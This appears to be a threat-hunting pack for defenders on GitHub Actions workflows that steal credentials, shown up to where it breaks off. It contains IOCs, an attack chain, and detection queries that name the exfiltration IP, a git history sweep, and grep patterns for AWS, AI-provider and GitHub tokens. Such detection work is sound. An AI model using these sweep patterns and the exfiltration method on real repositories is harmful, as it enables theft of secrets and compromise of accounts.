GhostAction: Credential-Stealing GitHub Actions Workflows (October 2026 wave)
Executive Summary
GhostAction is a credential-theft campaign against GitHub repositories. In the October 2026 wave, compromised maintainer accounts commit a workflow named "Security Audit" (security-audit.yml) or "Github Actions Security" (github_actions_security.yml) directly to default branches under the victim's own identity. The workflow runs on any push to any branch or tag and on manual dispatch, checks out full history (fetch-depth: 0), and collects two classes of secret: the repository's named Actions secrets, and credentials found in the working tree and the entire git history by regex sweeps for 13 patterns, with two lines of context around every AWS key ID. Everything leaves in one curl POST over plain HTTP to 193.32.204.199.
Socket reports more than 500 compromised accounts and workflows in tens of thousands of repositories since 2026-10-07. The 2026-10-08 burst alone placed the file in 346 repositories, including uber/athenadriver and kitao/pyxel. StepSecurity confirmed one completed exfiltration from a run log, and the attacker re-ran the workflow by hand in pyxel.
Honest coverage statement. The malicious workflow primarily executes on GitHub-hosted runners, which carry no Falcon sensor. Falcon cannot see that execution. This pack hunts only the surfaces Falcon really has: self-hosted runners, developer and CI workstations, any sensored host contacting the collector, and the downstream use of stolen cloud and AI keys.
Defender priority: in GitHub, search for the two workflow paths and the AKIA_CTX_START marker, delete the file from every branch, revoke the compromised account's tokens and sessions, and rotate every credential that ever appeared in any commit. Then run Q1 and Q2 across self-hosted runner hosts.
Source Review & Web Hunter Notes
| # | Tier | Source | Key finding | Carry forward |
|---|---|---|---|---|
| 1 | Primary | Socket Research Team, 2026-10-09 (snapshot 01) | Full workflow text from kitao/pyxel commit 97670a55; 13 patterns; IOC list (paths, commit messages, body markers, IP); 346 repositories on 2026-10-08; 500+ accounts | Yes |
| 2 | Primary | StepSecurity, 2026-10-09 (snapshot 02) | Independent analysis and run-log forensics (athenadriver exfil acknowledged); ?c=monami vs ?c=new markers; ports 80 and 3000; approval gate stopped one repository; scale via code search | Yes |
| 3 | Secondary | The Hacker News, 2026-10-09 (snapshot 03) | Summarises Socket and StepSecurity; adds GitGuardian figures for 2026-08-31 to 2026-09-30 | Context only |
| 4 | Secondary | Cloud Security Alliance research note (snapshot 04) | Restates the chain from [1][2]; self-hosted runner egress guidance | Context only |
Decisions
- Independence. Sources 1 and 2 are independent primary analyses with separate artifacts (Socket retrieved the pyxel file; StepSecurity retrieved run logs and a different repository). Sources 3 and 4 derive from them. The only prevent-severity indicator, the collector IP, rests on sources 1 and 2.
- Not shipped. Earlier-wave infrastructure named in StepSecurity's table (legacy IP and domains) belongs to prior waves and is excluded under the own-campaign-only rule.
security-check.ymland the:3000receive path appear in one source only; the port is covered by Q1 (any port) and the filename is too generic to hunt without noise. - Discrepancy noted. Socket's workflow text shows the
?c=monamimarker and StepSecurity's shows?c=newfor repositories with no named secrets. Both are treated as the same payload family; Q2 anchors on the IP so both are caught. - Injection screening. No fetched page contained instructions directed at the analyst. Pages did contain defender recommendations (GitHub code-search queries), which were treated as data and not executed.
Hunt Brief & Attack Chain
| Step | Behavior | Telemetry (platform-neutral first) | Hunt angle |
|---|---|---|---|
| 1 | Attacker obtains a maintainer credential (most plausibly a leaked token from infostealer logs). Not observed by researchers. | GitHub audit log. Outside endpoint telemetry. | Section 7 audit-log hunts |
| 2 | Reconnaissance of existing workflows for secrets.NAME references, templated into the payload | GitHub API activity. Outside endpoint telemetry. | Section 7 |
| 3 | Workflow committed straight to the default branch, no pull request, unsigned | GitHub audit log and git history. Outside endpoint telemetry. | Section 7; file arrival on a workstation after pull is not logged by endpoint sensors |
| 4 | Workflow runs on push or dispatch, on GitHub-hosted runner by default (ubuntu-latest) | GitHub Actions run logs. Coverage gap: no EDR sensor on GitHub-hosted runners. | GitHub run history search |
| 5 | On self-hosted runner: shell step runs git log -p --all and grep sweeps | Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Q3, Q4, Q5 |
| 6 | curl POSTs the combined body to the collector over HTTP | Process creation with command line (as above); outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents) | Q1, Q2, Q7 |
| 7 | Stolen cloud, AI and SCM keys used from attacker hosts | Cloud provider and AI vendor logs. Endpoint DNS shows only sensored hosts (CrowdStrike: DnsRequest) | Q8; section 7 |
Consolidated IOC Table
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| IPv4 | 193.32.204.199 | high | prevent | Exfiltration collector, plain HTTP, ports 80 and 3000. Sources 1, 2. | 2027-04-13 |
| URL pattern | 193.32.204.199/?c=monami | high | hunt (Q2) | Marker for repositories with named secrets. Not importable as a Falcon IOC type. | 2027-01-13 |
| File path | .github/workflows/security-audit.yml | high | hunt | Malicious workflow. Name alone is not proof, confirm content. | n/a |
| File path | .github/workflows/github_actions_security.yml | high | hunt | Malicious workflow, "Github Actions Security". | n/a |
| Commit message | Add security audit workflow | high | hunt | Injection commit | n/a |
| Commit message | Update security audit workflow | high | hunt | Update or re-trigger commit | n/a |
| Commit message | Add Github Actions Security workflow | high | hunt | Injection commit, second workflow name | n/a |
| Body markers | REPO=, AKIA_CTX_START, AKIA_CTX_END | high | hunt | Unique to payload; grep proxies and workflow files | n/a |
| Victim accounts | henrywoo (318 repositories), kitao (27 repositories) | high | enrich | Compromised identities, not attacker handles. Commit 97670a55 in kitao/pyxel. | n/a |
Only the collector IP is a valid Falcon IOC Management type. Everything else is shipped as a behavioral or search signal; see section 10.
Affected Surface & Telemetry Matrix
| Surface | Telemetry (platform-neutral first) | Priority | Gap risk |
|---|---|---|---|
| GitHub-hosted runners | None from endpoint sensors. GitHub run logs and audit log only. | primary execution site | BLIND SPOT, not covered by this pack's queries |
| Self-hosted runners (Linux, macOS, Windows) | Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents) | high | Good, if the sensor is installed |
| Developer and CI workstations | Process creation with command line; outbound network connection. File-write events for YAML are not logged, so file arrival after git pull is not directly visible. | medium | Partial |
| Any sensored host to the collector | Outbound network connection (as above) | high | Good |
| Cloud, AI and SCM accounts holding stolen keys | Cloud audit logs, AI provider usage logs, GitHub audit log. Outside endpoint telemetry; endpoint DNS gives only a sensored-host view. | high | Partial |
ATT&CK Mapping
| Tactic | ID | Technique | Observed behavior |
|---|---|---|---|
| Initial Access | T1078 | Valid Accounts | Compromised maintainer accounts push under their own identity |
| Defense Evasion | T1036.005 | Match Legitimate Resource Name or Location | Workflow disguised as a security audit |
| Execution | T1059.004 | Unix Shell | Single bash "Audit" step on the runner |
| Collection | T1213.003 | Data from Code Repositories | git log -p --all over every branch and tag |
| Credential Access | T1552.001 | Credentials In Files | 13-pattern regex sweep of working tree and history; AWS key context capture |
| Exfiltration | T1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol | curl POST over HTTP to a bare IP |
| Impact (downstream) | T1195.002 | Compromise Software Supply Chain | Stolen PyPI, crates.io and similar publishing tokens enable malicious releases. None observed as of the reports. |
| Initial Access (downstream) | T1078.004 | Cloud Accounts | Stolen AWS and AI keys reused |
Native Audit-Log Hunts
These checks run outside Falcon and are where most of this campaign is actually visible, including the GitHub-hosted runner execution Falcon cannot see.
| Where | Check | Why |
|---|---|---|
| GitHub code search | "AKIA_CTX_START" path:.github/workflows, "c=monami", and the collector IP in workflow paths. Scope with org:YOUR-ORG. | Finds the payload on default branches. Code search indexes default branches only and excludes forks. |
| Repository history | Search all branches for the two workflow paths and the three commit messages (commands in section 10). | Payload triggers on every branch and tag; delete it everywhere. |
| GitHub audit log | Workflow-file additions by maintainer identities directly to default branches with no pull request; rapid commits across many repositories within minutes; manual workflow dispatch on a new "audit" workflow. | Researchers' audit-log patterns. Validate event names in your plan. |
| Actions run history | Runs of "Security Audit" or "Github Actions Security" since 2026-08-31. Any completed run is a confirmed exfiltration. | Guard condition is always true; every run beacons. |
| Egress, proxy, firewall | Connections to the collector IP on ports 80 and 3000, including from self-hosted runner ranges; request bodies containing AKIA_CTX_START. | Plain HTTP, so bodies are inspectable where TLS is not in play. |
| Cloud audit log (AWS CloudTrail) | For any AWS key found in history: new IAM users, new access keys, unexpected regions, calls from unfamiliar addresses, since first exposure. | Context capture reconstructs full key pairs. |
| AI provider consoles | Usage and key-creation logs for Anthropic, OpenAI and OpenRouter keys that ever appeared in a commit. | Sk-style keys are explicit targets. |
| Package registries | Release history on PyPI, crates.io, npm and container registries for unexpected versions since exposure. | Publishing tokens were templated in pyxel. |
Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL
Use your tenant's own address. SentinelOne does not document a link that pre-fills a query, so each "Copy & open SentinelOne" button copies the query and opens this console: paste it into PowerQuery.
Pick your portal. Microsoft documents a Share link in advanced hunting but not its URL format, so each "Copy & open Defender" button copies the query and opens Advanced hunting: paste it into the editor.
Coverage gap, stated plainly: these queries cannot see the workflow running on a GitHub-hosted runner. They apply to self-hosted runners, workstations and any sensored host that reaches the collector. Run Q5 first to learn which hosts are self-hosted runners.
Looks for: Any sensored host opening an IPv4 connection to the hardcoded exfiltration address. The payload uses a bare IP over plain HTTP, so there is no DNS lookup to hunt; the network event is the only signal. A hit on a self-hosted runner or CI workstation confirms a workflow step reached the collector.
FP: Low. No legitimate use is reported for this address. Scope the hit to the initiating process and the runner service account before closing.
Known limitations and deployment notes
- PowerQuery: A connection the agent did not observe is not captured.
- PowerQuery assumes: dst.ip.address is populated on IP Connect events on this tenant; not tenant-tested.
- KQL – Defender XDR: A connection the sensor did not observe is not captured.
- KQL – Defender XDR assumes: RemoteIP is populated for outbound connections from the sensor.
// HUNT: GhostAction exfiltration IP contacted by a sensored host // MITRE: T1048.003, T1041 // CONF: high FP: low COST: low | REQUIRES: network connection telemetry (CrowdStrike: NetworkConnectIP4) // LOOKBACK: 7d #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="193.32.204.199" | table([@timestamp, aid, ComputerName, ContextBaseFileName, LocalAddressIP4, LocalPort, RemoteAddressIP4, RemotePort, ContextProcessId_decimal]) | sort(@timestamp, order=desc, limit=500)
2 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.type: Event typedst.ip.address: Destination address
Recommended fields
src.process.name: Connecting processendpoint.name: Hostname
Readiness test
event.type = 'IP Connect' dst.ip.address = * | limit 5 | columns event.time, event.type, dst.ip.address
// HUNT: GhostAction exfiltration IP contacted by a sensored host // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1048.003, T1041 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: an IP Connect event whose destination is the collector address. The connecting process is src.process.* because this is not a Process Creation event. // REQUIRES: SentinelOne Deep Visibility network connection telemetry (IP Connect) // TUNING: None needed for a single known-bad address; any row is a lead. // LOOKBACK: 7d // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A connection the agent did not observe is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'IP Connect' dst.ip.address = '193.32.204.199' | columns event.time, endpoint.name, src.process.name, src.ip.address, src.port.number, dst.ip.address, dst.port.number, src.process.pid | sort -event.time | limit 500
Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeRemoteIP: Remote address
Recommended fields
InitiatingProcessFileName: Connecting process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, RemoteIP | take 5
// HUNT: GhostAction exfiltration IP contacted by a sensored host // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1048.003, T1041 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a network connection event whose remote address is the collector address. The connecting process is InitiatingProcessFileName. // REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents) // TUNING: None needed for a single known-bad address; any row is a lead. // LOOKBACK: 7d // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A connection the sensor did not observe is not captured. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceNetworkEvents | where Timestamp >= ago(7d) | where RemoteIP == "193.32.204.199" | project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessId, LocalIP, LocalPort, RemoteIP, RemotePort | sort by Timestamp desc | take 500
Looks for: A curl process whose command line carries the exfiltration IP or the ?c=monami campaign marker. On a self-hosted runner this is the workflow's exfil step executing; the shell step is expanded by the runner into a script, so curl's own command line holds the destination.
FP: Low. Only a defender replaying the IOC for testing should match.
Known limitations and deployment notes
- PowerQuery: curl launched by a process the agent did not observe starting is not captured.
- PowerQuery assumes: src.process.user holds the account that ran the creator process.
- KQL – Defender XDR: A process the sensor did not observe starting is not captured.
- KQL – Defender XDR assumes: ProcessCommandLine is populated for curl on Linux and Windows sensors.
// HUNT: curl POST to GhostAction collector (command line) // MITRE: T1048.003, T1059.004 // CONF: high FP: low COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2) // LOOKBACK: 7d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^curl(\.exe)?$/i | CommandLine=/193\.32\.204\.199|[?]c=monami/i | table([@timestamp, aid, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator processsrc.process.user: Account
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, tgt.process.name, tgt.process.cmdline
// HUNT: curl POST to GhostAction collector (command line)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1048.003, T1059.004
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: curl by name with the collector address or the c=monami query string on the command line. The created process is tgt.process.*, its creator src.process.*. contains is case-insensitive, which reproduces the CQL /i intent.
// REQUIRES: SentinelOne Deep Visibility process creation telemetry with command line
// TUNING: None needed; the collector address and the query string are specific.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: curl launched by a process the agent did not observe starting is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' tgt.process.name in:anycase ('curl', 'curl.exe')
(tgt.process.cmdline contains '193.32.204.199' or tgt.process.cmdline contains '?c=monami')
| columns event.time, endpoint.name, src.process.user, tgt.process.name, src.process.name, tgt.process.cmdline
| sort -event.time
| limit 500Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Parent process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: curl POST to GhostAction collector (command line)
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1048.003, T1059.004
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: curl by name with the collector address or the c=monami query string on the command line. The parent is InitiatingProcessFileName. contains is case-insensitive, which reproduces the CQL /i intent.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: None needed; the collector address and the query string are specific.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A process the sensor did not observe starting is not captured.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ ("curl", "curl.exe")
| where ProcessCommandLine contains "193.32.204.199" or ProcessCommandLine contains "?c=monami"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc
| take 500Looks for: Git invoked by a shell with log, -p and --all, the call the payload uses to buffer every branch and tag's patch text before regex-sweeping it for credentials. Pair with Q4 on the same host and minute for a high-confidence read.
FP: Medium. Secret scanners and developers run the same command. Exclude your approved scanner's service account and parent process.
Known limitations and deployment notes
- PowerQuery: git launched by a process the agent did not observe starting is not captured.
- PowerQuery: A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
- PowerQuery assumes: src.process.user holds the account that ran the creator process.
- PowerQuery assumes: The regexes use \b and \s, which the engine accepts as written; not tenant-tested.
- KQL – Defender XDR: A process the sensor did not observe starting is not captured.
- KQL – Defender XDR: A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
- KQL – Defender XDR assumes: ProcessCommandLine is populated for git on Linux and Windows sensors.
// HUNT: git log -p --all driven by a shell step (history credential sweep) // MITRE: T1213.003, T1552.001 // CONF: medium FP: medium COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2) // TUNING: exclude the service account and parent of your approved secret scanner, e.g. | UserName!=/^svc-secretscan$/i // TUNING: a developer running this interactively has a terminal parent and a real user; runner hits sit under a service account in a CI work directory // LOOKBACK: 7d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^git(\.exe)?$/i | ParentBaseFileName=/^(bash|sh|dash|zsh|pwsh|powershell)(\.exe)?$/i | CommandLine=/\blog\b/ | CommandLine=/\s-p\s/ | CommandLine=/--all\b/ | table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typetgt.process.name: Created process namesrc.process.name: Creator process nametgt.process.cmdline: Created command line
Recommended fields
src.process.user: Account
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, tgt.process.name, src.process.name, tgt.process.cmdline
// HUNT: git log -p --all driven by a shell step (history credential sweep)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1213.003, T1552.001
// CONF: medium | FP: medium
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: git started by a shell, with the log word, a -p flag and --all on the command line. The created process is tgt.process.*, its shell parent src.process.*. The regexes are case-sensitive here to match the CQL.
// REQUIRES: SentinelOne Deep Visibility process creation telemetry with command line
// TUNING: Exclude the service account and parent of your approved secret scanner after a baseline review. A developer running this interactively has a terminal parent and a real user; runner hits sit under a service account in a CI work directory.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: git launched by a process the agent did not observe starting is not captured. A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' tgt.process.name in:anycase ('git', 'git.exe')
src.process.name in:anycase ('bash', 'sh', 'dash', 'zsh', 'pwsh', 'powershell', 'bash.exe', 'sh.exe', 'dash.exe', 'zsh.exe', 'pwsh.exe', 'powershell.exe')
tgt.process.cmdline matches:matchcase '\\blog\\b'
tgt.process.cmdline matches:matchcase '\\s-p\\s'
tgt.process.cmdline matches:matchcase '--all\\b'
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.cmdline
| sort -event.time
| limit 500Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameInitiatingProcessFileName: Parent process nameProcessCommandLine: Created command line
Recommended fields
AccountName: Account
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, InitiatingProcessFileName, ProcessCommandLine | take 5
// HUNT: git log -p --all driven by a shell step (history credential sweep)
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1213.003, T1552.001
// CONF: medium | FP: medium
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: git started by a shell, with the log word, a -p flag and --all on the command line. The shell parent is InitiatingProcessFileName. The regexes are case-sensitive to match the CQL.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: Exclude the service account and parent of your approved secret scanner after a baseline review. A developer running this interactively has a terminal parent and a real user; runner hits sit under a service account in a CI work directory.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A process the sensor did not observe starting is not captured. A history sweep written as git log --patch --all, or with the flags in another order around -p, is not matched.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ ("git", "git.exe")
| where InitiatingProcessFileName in~ ("bash", "sh", "dash", "zsh", "pwsh", "powershell", "bash.exe", "sh.exe", "dash.exe", "zsh.exe", "pwsh.exe", "powershell.exe")
| where ProcessCommandLine matches regex @"\blog\b"
| where ProcessCommandLine matches regex @"\s-p\s"
| where ProcessCommandLine matches regex @"--all\b"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc
| take 500Looks for: A grep or ripgrep whose command line holds the AWS key-ID pattern AKIA[0-9A-Z]{16} together with at least one AI-provider, GitHub, GitLab or Slack token prefix. The payload runs one such sweep over the working tree and a second over the history buffer.
FP: Low. Legitimate secret scanning normally uses a dedicated scanner binary, not grep with a hand-rolled multi-vendor alternation.
Known limitations and deployment notes
- PowerQuery: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
- PowerQuery assumes: src.process.user holds the account that ran the creator process.
- PowerQuery assumes: contains matches case-insensitively, a little broader than the case-sensitive CQL.
- KQL – Defender XDR: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
- KQL – Defender XDR assumes: ProcessCommandLine is populated for grep-family tools on Linux and Windows sensors.
- KQL – Defender XDR assumes: contains matches case-insensitively, a little broader than the case-sensitive CQL.
// HUNT: grep credential-pattern sweep matching the GhostAction payload // MITRE: T1552.001, T1213.003 // CONF: high FP: low COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2) // LOOKBACK: 7d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(e?grep|ggrep|rg)(\.exe)?$/i | CommandLine=/AKIA\[0-9A-Z\]\{16\}/ | CommandLine=/sk-ant-|sk-proj-|ghp_|glpat-|xox\[baprs\]/ | table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator processsrc.process.user: Account
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, tgt.process.name, tgt.process.cmdline
// HUNT: grep credential-pattern sweep matching the GhostAction payload
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1552.001, T1213.003
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a grep-family tool whose command line carries the literal AKIA[0-9A-Z]{16} pattern text and one of the AI or SCM key prefixes. The CQL escapes the brackets because it matches that text as typed on the command line, so contains reproduces it. contains is case-insensitive, slightly broader than the CQL.
// REQUIRES: SentinelOne Deep Visibility process creation telemetry with command line
// TUNING: None needed; the combination of the AWS pattern and a second vendor prefix is specific.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' tgt.process.name in:anycase ('grep', 'egrep', 'ggrep', 'rg', 'grep.exe', 'egrep.exe', 'ggrep.exe', 'rg.exe')
tgt.process.cmdline contains 'AKIA[0-9A-Z]{16}'
(tgt.process.cmdline contains 'sk-ant-' or tgt.process.cmdline contains 'sk-proj-' or tgt.process.cmdline contains 'ghp_' or tgt.process.cmdline contains 'glpat-' or tgt.process.cmdline contains 'xox[baprs]')
| columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.cmdline
| sort -event.time
| limit 500Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Parent process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: grep credential-pattern sweep matching the GhostAction payload
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1552.001, T1213.003
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a grep-family tool whose command line carries the literal AKIA[0-9A-Z]{16} pattern text and one of the AI or SCM key prefixes. contains is case-insensitive, slightly broader than the case-sensitive CQL.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: None needed; the combination of the AWS pattern and a second vendor prefix is specific.
// LOOKBACK: 7d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A sweep whose patterns are read from a file or an environment variable rather than the command line is not matched.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ ("grep", "egrep", "ggrep", "rg", "grep.exe", "egrep.exe", "ggrep.exe", "rg.exe")
| where ProcessCommandLine contains "AKIA[0-9A-Z]{16}"
| where ProcessCommandLine contains "sk-ant-" or ProcessCommandLine contains "sk-proj-" or ProcessCommandLine contains "ghp_" or ProcessCommandLine contains "glpat-" or ProcessCommandLine contains "xox[baprs]"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc
| take 500Looks for: Inventory query, not a detection. It lists hosts running the runner listener or worker, which is the only place Falcon can see this campaign execute. Use it to decide where Q1 to Q4 and Q7 are meaningful, and to find runners that should be ephemeral.
FP: Not applicable, this is a scoping list.
Known limitations and deployment notes
- PowerQuery: A runner started before the retention window, or launched through a wrapper name, is not counted.
- PowerQuery assumes: The runner binaries appear as Runner.Listener and Runner.Worker in tgt.process.name; not tenant-tested.
- KQL – Defender XDR: A runner started before the 30 day Advanced Hunting retention window, or launched through a wrapper name, is not counted.
- KQL – Defender XDR assumes: The runner binaries appear as Runner.Listener and Runner.Worker in FileName.
// HUNT: self-hosted GitHub Actions runner inventory (scope for Q1-Q4, Q7) // MITRE: T1059.004 // CONF: medium FP: low COST: low | REQUIRES: process creation (CrowdStrike: ProcessRollup2) // LOOKBACK: 30d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^Runner\.(Listener|Worker)(\.exe)?$/i | groupBy([aid, ComputerName], function=count(as=RunnerEvents), limit=1000) | sort(RunnerEvents, order=desc, limit=200)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typetgt.process.name: Created process nameagent.uuid: Agent identifier
Recommended fields
endpoint.name: Hostname
Readiness test
event.type = 'Process Creation' tgt.process.name = * | limit 5 | columns event.time, event.type, tgt.process.name, agent.uuid
// HUNT: self-hosted GitHub Actions runner inventory (scope for Q1-Q4, Q7)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1059.004
// CONF: medium | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation population (the runner listener and worker binaries) counted per host. Grouping is on agent.uuid and endpoint.name, the agent identifier and hostname.
// REQUIRES: SentinelOne Deep Visibility process creation telemetry
// TUNING: Use the host list to scope the other hunts in this pack to runner hosts.
// LOOKBACK: 30d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A runner started before the retention window, or launched through a wrapper name, is not counted.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' tgt.process.name in:anycase ('Runner.Listener', 'Runner.Worker', 'Runner.Listener.exe', 'Runner.Worker.exe')
| group runner_events = count() by agent.uuid, endpoint.name
| sort -runner_events
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameDeviceId: Device identifier
Recommended fields
DeviceName: Hostname
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, DeviceId | take 5
// HUNT: self-hosted GitHub Actions runner inventory (scope for Q1-Q4, Q7)
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1059.004
// CONF: medium | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation population (the runner listener and worker binaries) counted per host, grouped on DeviceId and DeviceName.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents)
// TUNING: Use the host list to scope the other hunts in this pack to runner hosts.
// LOOKBACK: 30d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A runner started before the 30 day Advanced Hunting retention window, or launched through a wrapper name, is not counted.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(30d)
| where FileName in~ ("Runner.Listener", "Runner.Worker", "Runner.Listener.exe", "Runner.Worker.exe")
| summarize RunnerEvents = count() by DeviceId, DeviceName
| sort by RunnerEvents desc
| take 200Looks for: Any process whose command line names security-audit.yml or github_actions_security.yml: a commit, a diff, a local workflow runner, or an administrator cleaning up. Falcon does not log arbitrary YAML file writes, so a bare git pull that lands the file leaves no trace here. This catches the follow-on handling of the file, not its arrival.
FP: Medium. A legitimate repository can own a workflow called security-audit.yml. Confirm content with the section 7 checks before treating a hit as hostile.
Known limitations and deployment notes
